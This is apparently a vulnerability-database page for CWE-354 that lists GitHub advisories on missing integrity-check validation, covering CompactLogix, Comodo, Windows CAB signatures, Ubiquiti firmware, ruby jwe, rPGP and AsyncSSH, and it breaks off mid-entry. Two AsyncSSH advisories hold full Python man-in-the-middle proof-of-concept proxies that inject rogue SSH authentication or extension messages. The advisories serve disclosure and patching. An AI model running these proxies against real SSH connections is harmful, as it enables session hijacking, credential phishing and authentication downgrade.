Common Weakness Enumeration
CWE-354
AllowedImproper Validation of Integrity Check Value
Abstraction: Base · Status: Draft
The product does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.
260 vulnerabilities reference this CWE, most recent first.
GHSA-9R9C-RXHR-5HCG
Vulnerability from github – Published: 2026-06-16 15:33 – Updated: 2026-06-16 15:33
VLAI
Details
A security issue exists within 1769 CompactLogix controllers due to the missing validation of sequence numbers and source IP addresses in the CIP protocol. This allows attacker to abuse the exposed Connection ID’s visible on the web interface to perform denial-of-service attacks, resulting in a minor fault.
Severity
{
"affected": [],
"aliases": [
"CVE-2025-11694"
],
"database_specific": {
"cwe_ids": [
"CWE-354"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-16T15:16:32Z",
"severity": "HIGH"
},
"details": "A security issue exists within\u00a01769 CompactLogix controllers\u00a0due to the\u00a0missing validation of sequence numbers and source IP addresses in the CIP protocol. This allows attacker to abuse the exposed Connection ID\u2019s visible on the web interface to perform denial-of-service attacks, resulting in a\u00a0minor fault.",
"id": "GHSA-9r9c-rxhr-5hcg",
"modified": "2026-06-16T15:33:50Z",
"published": "2026-06-16T15:33:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11694"
},
{
"type": "WEB",
"url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1776.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-9VJX-8M86-3RHW
Vulnerability from github – Published: 2025-07-07 00:30 – Updated: 2025-07-07 18:32
VLAI
Details
A vulnerability classified as critical was found in Comodo Internet Security Premium 12.3.4.8162. This vulnerability affects unknown code of the file cis_update_x64.xml of the component Manifest File Handler. The manipulation leads to improper validation of integrity check value. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
Severity
{
"affected": [],
"aliases": [
"CVE-2025-7096"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-354"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-06T22:15:25Z",
"severity": "HIGH"
},
"details": "A vulnerability classified as critical was found in Comodo Internet Security Premium 12.3.4.8162. This vulnerability affects unknown code of the file cis_update_x64.xml of the component Manifest File Handler. The manipulation leads to improper validation of integrity check value. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-9vjx-8m86-3rhw",
"modified": "2025-07-07T18:32:24Z",
"published": "2025-07-07T00:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7096"
},
{
"type": "WEB",
"url": "https://drive.google.com/file/d/1qnWarYsTSc5_sV6o8ULv0LBvGfKKXPxn/view"
},
{
"type": "WEB",
"url": "https://drive.google.com/file/d/1qnWarYsTSc5_sV6o8ULv0LBvGfKKXPxn/view?usp=sharing"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.315010"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.315010"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.603713"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-C35Q-FFPF-5QPM
Vulnerability from github – Published: 2023-11-09 18:35 – Updated: 2025-11-04 16:47
VLAI
Summary
AsyncSSH Rogue Session Attack
Details
Summary
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.
Details
The rogue session attack targets any SSH client connecting to an AsyncSSH server, on which the attacker must have a shell account. The goal of the attack is to log the client into the attacker's account without the client being able to detect this. At that point, due to how SSH sessions interact with shell environments, the attacker has complete control over the remote end of the SSH session. The attacker receives all keyboard input by the user, completely controls the terminal output of the user's session, can send and receive data to/from forwarded network ports, and is able to create signatures with a forwarded SSH Agent, if any. The result is a complete break of the confidentiality and integrity of the secure channel, providing a strong vector for a targeted phishing campaign against the user. For example, the attacker can display a password prompt and wait for the user to enter the password, elevating the attacker's position to a MitM at the application layer and enabling perfect shell emulation.
The attacks work by the attacker injecting a chosen authentication request before the client's NewKeys. The authentication request sent by the attacker must be a valid authentication request containing his credentials. The attacker can use any authentication mechanism that does not require exchanging additional messages between client and server, such as password or publickey. Due to a state machine flaw, the AsyncSSH server accepts the unauthenticated user authentication request message and defers it until the client has requested the authentication protocol.
PoC
AsyncSSH 2.14.0 client (simple_client.py example) connecting to AsyncSSH 2.14.0 server (simple_server.py example) ```python #!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify from time import sleep ################################################################################## ## Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ## ## ## ## Variant: Unmodified variant (EXT_INFO by client required) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ################################################################################## # IP and port for the TCP proxy to bind to PROXY_IP = '127.0.0.1' PROXY_PORT = 2222 # IP and port of the server SERVER_IP = '127.0.0.1' SERVER_PORT = 22 # Length of the individual messages NEW_KEYS_LENGTH = 16 CLIENT_EXT_INFO_LENGTH = 60 # Additional data sent by the client after NEW_KEYS (excluding EXT_INFO) ADDITIONAL_CLIENT_DATA_LENGTH = 60 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15' def contains_newkeys(data): return newkeys_payload in data rogue_userauth_request = unhexlify('000000440b320000000861747461636b65720000000e7373682d636f6e6e656374696f6e0000000870617373776f7264000000000861747461636b65720000000000000000000000') def insert_rogue_authentication_request(data): newkeys_index = data.index(newkeys_payload) # Insert rogue authentication request and remove SSH_MSG_EXT_INFO return data[:newkeys_index] + rogue_userauth_request + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH:] def forward_client_to_server(client_socket, server_socket): delay_next = False try: while True: client_data = client_socket.recv(4096) if delay_next: delay_next = False sleep(0.25) if contains_newkeys(client_data): print("[+] SSH_MSG_NEWKEYS sent by client identified!") if len(client_data) < NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH: print("[+] client_data does not contain all messages sent by the client yet. Receiving additional bytes until we have 156 bytes buffered!") while len(client_data) < NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH: client_data += client_socket.recv(4096) print(f"[d] Original client_data before modification: {client_data.hex()}") client_data = insert_rogue_authentication_request(client_data) print(f"[d] Modified client_data with rogue authentication request: {client_data.hex()}") delay_next = True if len(client_data) == 0: break server_socket.send(client_data) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forward_client_to_server thread ran out of data, closing sockets!") client_socket.close() server_socket.close() def forward_server_to_client(client_socket, server_socket): try: while True: server_data = server_socket.recv(4096) if len(server_data) == 0: break client_socket.send(server_data) except ConnectionResetError: print("[!] Target connection has been reset. Continue closing sockets.") print("[!] forward_server_to_client thread ran out of data, closing sockets!") client_socket.close() server_socket.close() if __name__ == '__main__': print("--- Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ---") mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) mitm_socket.bind((PROXY_IP, PROXY_PORT)) mitm_socket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...") try: while True: client_socket, client_addr = mitm_socket.accept() print(f"[+] Accepted connection from: {client_addr}") print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.") server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.connect((SERVER_IP, SERVER_PORT)) print("[+] Spawning new forwarding threads to handle client connection.") Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start() Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start() except KeyboardInterrupt: client_socket.close() server_socket.close() mitm_socket.close() ```Impact
The impact heavily depends on the application logic implemented by the AsyncSSH server. In the worst case, the AsyncSSH server starts a shell for the authenticated user upon connection, switching the user to the authenticated one. In this case, the attacker can prepare a modified shell beforehand to perform perfect phishing attacks and become a MitM at the application layer. When the username of the authenticated user is not used beyond authentication, this vulnerability does not impact the connection's security.
Severity
8.1 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "asyncssh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46446"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-349",
"CWE-354",
"CWE-359",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-09T18:35:14Z",
"nvd_published_at": "2023-11-14T03:15:09Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.\n\n### Details\n\nThe rogue session attack targets any SSH client connecting to an AsyncSSH server, on which the attacker must have a shell account. The goal of the attack is to log the client into the attacker\u0027s account without the client being able to detect this. At that point, due to how SSH sessions interact with shell environments, the attacker has complete control over the remote end of the SSH session. The attacker receives all keyboard input by the user, completely controls the terminal output of the user\u0027s session, can send and receive data to/from forwarded network ports, and is able to create signatures with a forwarded SSH Agent, if any. The result is a complete break of the confidentiality and integrity of the secure channel, providing a strong vector for a targeted phishing campaign against the user. For example, the attacker can display a password prompt and wait for the user to enter the password, elevating the attacker\u0027s position to a MitM at the application layer and enabling perfect shell emulation.\n\nThe attacks work by the attacker injecting a chosen authentication request before the client\u0027s NewKeys. The authentication request sent by the attacker must be a valid authentication request containing his credentials. The attacker can use any authentication mechanism that does not require exchanging additional messages between client and server, such as password or publickey. Due to a state machine flaw, the AsyncSSH server accepts the unauthenticated user authentication request message and defers it until the client has requested the authentication protocol.\n\n### PoC\n\n\u003cdetails\u003e\n \u003csummary\u003eAsyncSSH 2.14.0 client (simple_client.py example) connecting to AsyncSSH 2.14.0 server (simple_server.py example)\u003c/summary\u003e\n\n ```python\n #!/usr/bin/python3\n import socket\n from threading import Thread\n from binascii import unhexlify\n from time import sleep\n \n ##################################################################################\n ## Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ##\n ## ##\n ## Variant: Unmodified variant (EXT_INFO by client required) ##\n ## ##\n ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ##\n ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ##\n ## ##\n ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##\n ##################################################################################\n \n # IP and port for the TCP proxy to bind to\n PROXY_IP = \u0027127.0.0.1\u0027\n PROXY_PORT = 2222\n \n # IP and port of the server\n SERVER_IP = \u0027127.0.0.1\u0027\n SERVER_PORT = 22\n \n # Length of the individual messages\n NEW_KEYS_LENGTH = 16\n CLIENT_EXT_INFO_LENGTH = 60\n # Additional data sent by the client after NEW_KEYS (excluding EXT_INFO)\n ADDITIONAL_CLIENT_DATA_LENGTH = 60\n \n newkeys_payload = b\u0027\\x00\\x00\\x00\\x0c\\x0a\\x15\u0027\n def contains_newkeys(data):\n return newkeys_payload in data\n \n rogue_userauth_request = unhexlify(\u0027000000440b320000000861747461636b65720000000e7373682d636f6e6e656374696f6e0000000870617373776f7264000000000861747461636b65720000000000000000000000\u0027)\n def insert_rogue_authentication_request(data):\n newkeys_index = data.index(newkeys_payload)\n # Insert rogue authentication request and remove SSH_MSG_EXT_INFO\n return data[:newkeys_index] + rogue_userauth_request + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH:]\n \n def forward_client_to_server(client_socket, server_socket):\n delay_next = False\n try:\n while True:\n client_data = client_socket.recv(4096)\n if delay_next:\n delay_next = False\n sleep(0.25)\n if contains_newkeys(client_data):\n print(\"[+] SSH_MSG_NEWKEYS sent by client identified!\")\n if len(client_data) \u003c NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH:\n print(\"[+] client_data does not contain all messages sent by the client yet. Receiving additional bytes until we have 156 bytes buffered!\")\n while len(client_data) \u003c NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH:\n client_data += client_socket.recv(4096)\n print(f\"[d] Original client_data before modification: {client_data.hex()}\")\n client_data = insert_rogue_authentication_request(client_data)\n print(f\"[d] Modified client_data with rogue authentication request: {client_data.hex()}\")\n delay_next = True\n if len(client_data) == 0:\n break\n server_socket.send(client_data)\n except ConnectionResetError:\n print(\"[!] Client connection has been reset. Continue closing sockets.\")\n print(\"[!] forward_client_to_server thread ran out of data, closing sockets!\")\n client_socket.close()\n server_socket.close()\n \n def forward_server_to_client(client_socket, server_socket):\n try:\n while True:\n server_data = server_socket.recv(4096)\n if len(server_data) == 0:\n break\n client_socket.send(server_data)\n except ConnectionResetError:\n print(\"[!] Target connection has been reset. Continue closing sockets.\")\n print(\"[!] forward_server_to_client thread ran out of data, closing sockets!\")\n client_socket.close()\n server_socket.close()\n \n if __name__ == \u0027__main__\u0027:\n print(\"--- Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ---\")\n mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n mitm_socket.bind((PROXY_IP, PROXY_PORT))\n mitm_socket.listen(5)\n \n print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n \n try:\n while True:\n client_socket, client_addr = mitm_socket.accept()\n print(f\"[+] Accepted connection from: {client_addr}\")\n print(f\"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.\")\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server_socket.connect((SERVER_IP, SERVER_PORT))\n print(\"[+] Spawning new forwarding threads to handle client connection.\")\n Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()\n Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()\n except KeyboardInterrupt:\n client_socket.close()\n server_socket.close()\n mitm_socket.close()\n ```\n\u003c/details\u003e\n\n### Impact\n\nThe impact heavily depends on the application logic implemented by the AsyncSSH server. In the worst case, the AsyncSSH server starts a shell for the authenticated user upon connection, switching the user to the authenticated one. In this case, the attacker can prepare a modified shell beforehand to perform perfect phishing attacks and become a MitM at the application layer. When the username of the authenticated user is not used beyond authentication, this vulnerability does not impact the connection\u0027s security.",
"id": "GHSA-c35q-ffpf-5qpm",
"modified": "2025-11-04T16:47:15Z",
"published": "2023-11-09T18:35:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-c35q-ffpf-5qpm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46446"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-c35q-ffpf-5qpm"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-239.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/ronf/asyncssh"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00042.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20231222-0001"
},
{
"type": "WEB",
"url": "https://www.terrapin-attack.com"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "AsyncSSH Rogue Session Attack"
}
GHSA-C3Q8-2RFG-GPQV
Vulnerability from github – Published: 2022-05-24 16:53 – Updated: 2024-04-04 01:39
VLAI
Details
A security feature bypass exists when Windows incorrectly validates CAB file signatures, aka 'Windows File Signature Security Feature Bypass Vulnerability'.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2019-1163"
],
"database_specific": {
"cwe_ids": [
"CWE-354"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-14T21:15:00Z",
"severity": "MODERATE"
},
"details": "A security feature bypass exists when Windows incorrectly validates CAB file signatures, aka \u0027Windows File Signature Security Feature Bypass Vulnerability\u0027.",
"id": "GHSA-c3q8-2rfg-gpqv",
"modified": "2024-04-04T01:39:14Z",
"published": "2022-05-24T16:53:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1163"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1163"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C4V2-98HC-PVH9
Vulnerability from github – Published: 2023-02-02 18:30 – Updated: 2023-02-10 18:30
VLAI
Details
The use of the cyclic redundancy check (CRC) algorithm for integrity check during firmware update makes Ubiquiti airFiber AF2X Radio firmware version 3.2.2 and earlier vulnerable to firmware modification attacks. An attacker can conduct a man-in-the-middle (MITM) attack to modify the new firmware image and bypass the checksum verification.
Severity
5.9 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-23119"
],
"database_specific": {
"cwe_ids": [
"CWE-354"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-02T17:17:00Z",
"severity": "MODERATE"
},
"details": "The use of the cyclic redundancy check (CRC) algorithm for integrity check during firmware update makes Ubiquiti airFiber AF2X Radio firmware version 3.2.2 and earlier vulnerable to firmware modification attacks. An attacker can conduct a man-in-the-middle (MITM) attack to modify the new firmware image and bypass the checksum verification.",
"id": "GHSA-c4v2-98hc-pvh9",
"modified": "2023-02-10T18:30:33Z",
"published": "2023-02-02T18:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23119"
},
{
"type": "WEB",
"url": "https://community.ui.com/tags/security/releases"
},
{
"type": "WEB",
"url": "https://hackmd.io/%40slASVrz_SrW7NQCsunofeA/SkYce4f5o"
},
{
"type": "WEB",
"url": "https://hackmd.io/@slASVrz_SrW7NQCsunofeA/SkYce4f5o"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C7P4-HX26-PR73
Vulnerability from github – Published: 2025-08-07 20:55 – Updated: 2025-08-08 19:30
VLAI
Summary
JWE is missing AES-GCM authentication tag validation in encrypted JWE
Details
Overview
The authentication tag of encrypted JWEs can be brute forced, which may result in loss of confidentiality for those JWEs and provide ways to craft arbitrary JWEs.
Impact
- JWEs can be modified to decrypt to an arbitrary value
- JWEs can be decrypted by observing parsing differences
- The GCM internal GHASH key can be recovered
Am I Affected?
You are affected by this vulnerability even if you do not use an AES-GCM encryption algorithm for your JWEs.
Patches
The version 1.1.1 fixes the issue by adding the tag length check for the AES-GCM algorithm.
Important: As the GHASH key could have leaked, you must rotate the encryption keys after upgrading to version 1.1.1.
References
Severity
9.1 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.1.0"
},
"package": {
"ecosystem": "RubyGems",
"name": "jwe"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54887"
],
"database_specific": {
"cwe_ids": [
"CWE-354"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-07T20:55:35Z",
"nvd_published_at": "2025-08-08T01:15:25Z",
"severity": "CRITICAL"
},
"details": "### Overview\nThe authentication tag of encrypted JWEs can be brute forced, which may result in loss of confidentiality for those JWEs and provide ways to craft arbitrary JWEs.\n\n### Impact\n- JWEs can be modified to decrypt to an arbitrary value\n- JWEs can be decrypted by observing parsing differences\n- The GCM internal [GHASH key](https://en.wikipedia.org/wiki/Galois/Counter_Mode#:~:text=\\)%20is%20the-,hash%20key,-%2C%20a%20string%20of) can be recovered\n\n\n### Am I Affected?\nYou are affected by this vulnerability even if you do not use an `AES-GCM` encryption algorithm for your JWEs.\n\n### Patches\nThe version 1.1.1 fixes the issue by adding the tag length check for the `AES-GCM` algorithm.\n\n**Important:** As the [GHASH key](https://en.wikipedia.org/wiki/Galois/Counter_Mode#:~:text=\\)%20is%20the-,hash%20key,-%2C%20a%20string%20of) could have leaked, you must rotate the encryption keys after upgrading to version 1.1.1.\n\n### References\n[F\u00e9lix Charette talk at NorthSec 2025 about the issue](https://www.youtube.com/watch?v=9IT659uUXfs\u0026t=15830s)",
"id": "GHSA-c7p4-hx26-pr73",
"modified": "2025-08-08T19:30:00Z",
"published": "2025-08-07T20:55:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jwt/ruby-jwe/security/advisories/GHSA-c7p4-hx26-pr73"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54887"
},
{
"type": "WEB",
"url": "https://github.com/jwt/ruby-jwe/commit/1e719d79ba3d7aadaa39a2f08c25df077a0f9ff1"
},
{
"type": "PACKAGE",
"url": "https://github.com/jwt/ruby-jwe"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/jwe/CVE-2025-54887.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "JWE is missing AES-GCM authentication tag validation in encrypted JWE"
}
GHSA-C7PH-F7JM-XV4W
Vulnerability from github – Published: 2026-02-13 20:55 – Updated: 2026-02-13 20:55
VLAI
Summary
rPGP's integrity protection of encrypted data was not always checked
Details
Summary
For some messages, rPGP returned incorrectly decrypted data without signaling that integrity protection was invalid.
Details
When decrypting SEIPD (Symmetrically Encrypted and Integrity Protected Data Packet), rPGP previously did not under all circumstances report the absence of valid integrity protection to callers of the library.
Impact
While the resulting invalid decryption output is not attacker controlled, its contents may be a security concern if an attacker can gain access to it.
Attribution
Discovered internally in the course of rPGP development work.
Severity
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "pgp"
},
"ranges": [
{
"events": [
{
"introduced": "0.16.0-alpha.0"
},
{
"fixed": "0.19.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-354"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-13T20:55:20Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nFor some messages, rPGP returned incorrectly decrypted data without signaling that integrity protection was invalid.\n\n### Details\nWhen decrypting SEIPD (Symmetrically Encrypted and Integrity Protected Data Packet), rPGP previously did not under all circumstances report the absence of valid integrity protection to callers of the library.\n\n### Impact\nWhile the resulting invalid decryption output is not attacker controlled, its contents may be a security concern if an attacker can gain access to it.\n\n### Attribution\nDiscovered internally in the course of rPGP development work.",
"id": "GHSA-c7ph-f7jm-xv4w",
"modified": "2026-02-13T20:55:20Z",
"published": "2026-02-13T20:55:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rpgp/rpgp/security/advisories/GHSA-c7ph-f7jm-xv4w"
},
{
"type": "PACKAGE",
"url": "https://github.com/rpgp/rpgp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "rPGP\u0027s integrity protection of encrypted data was not always checked"
}
GHSA-CFC2-WR2V-GXM5
Vulnerability from github – Published: 2023-11-09 18:34 – Updated: 2025-11-04 16:46
VLAI
Summary
AsyncSSH Rogue Extension Negotiation
Details
Summary
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.
Details
The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.
A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).
PoC
AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example) ```python #!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify ##################################################################################### ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ##################################################################################### # IP and port for the TCP proxy to bind to PROXY_IP = '127.0.0.1' PROXY_PORT = 2222 # IP and port of the server SERVER_IP = '127.0.0.1' SERVER_PORT = 22 # Length of the individual messages NEW_KEYS_LENGTH = 16 SERVER_EXT_INFO_LENGTH = 676 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15' def contains_newkeys(data): return newkeys_payload in data # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs rogue_ext_info = unhexlify('0000000C060700000000000000000000') def insert_rogue_ext_info(data): newkeys_index = data.index(newkeys_payload) # Insert rogue extension info and remove SSH_MSG_EXT_INFO return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:] def forward_client_to_server(client_socket, server_socket): try: while True: client_data = client_socket.recv(4096) if len(client_data) == 0: break server_socket.send(client_data) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forward_client_to_server thread ran out of data, closing sockets!") client_socket.close() server_socket.close() def forward_server_to_client(client_socket, server_socket): try: while True: server_data = server_socket.recv(4096) if contains_newkeys(server_data): print("[+] SSH_MSG_NEWKEYS sent by server identified!") if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!") while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: server_data += server_socket.recv(4096) print(f"[d] Original server_data before modification: {server_data.hex()}") server_data = insert_rogue_ext_info(server_data) print(f"[d] Modified server_data with rogue extension info: {server_data.hex()}") if len(server_data) == 0: break client_socket.send(server_data) except ConnectionResetError: print("[!] Target connection has been reset. Continue closing sockets.") print("[!] forward_server_to_client thread ran out of data, closing sockets!") client_socket.close() server_socket.close() if __name__ == '__main__': print("--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---") mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) mitm_socket.bind((PROXY_IP, PROXY_PORT)) mitm_socket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...") try: while True: client_socket, client_addr = mitm_socket.accept() print(f"[+] Accepted connection from: {client_addr}") print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.") server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.connect((SERVER_IP, SERVER_PORT)) print("[+] Spawning new forwarding threads to handle client connection.") Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start() Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start() except KeyboardInterrupt: client_socket.close() server_socket.close() mitm_socket.close() ```Impact
Algorithm downgrade during user authentication.
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "asyncssh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
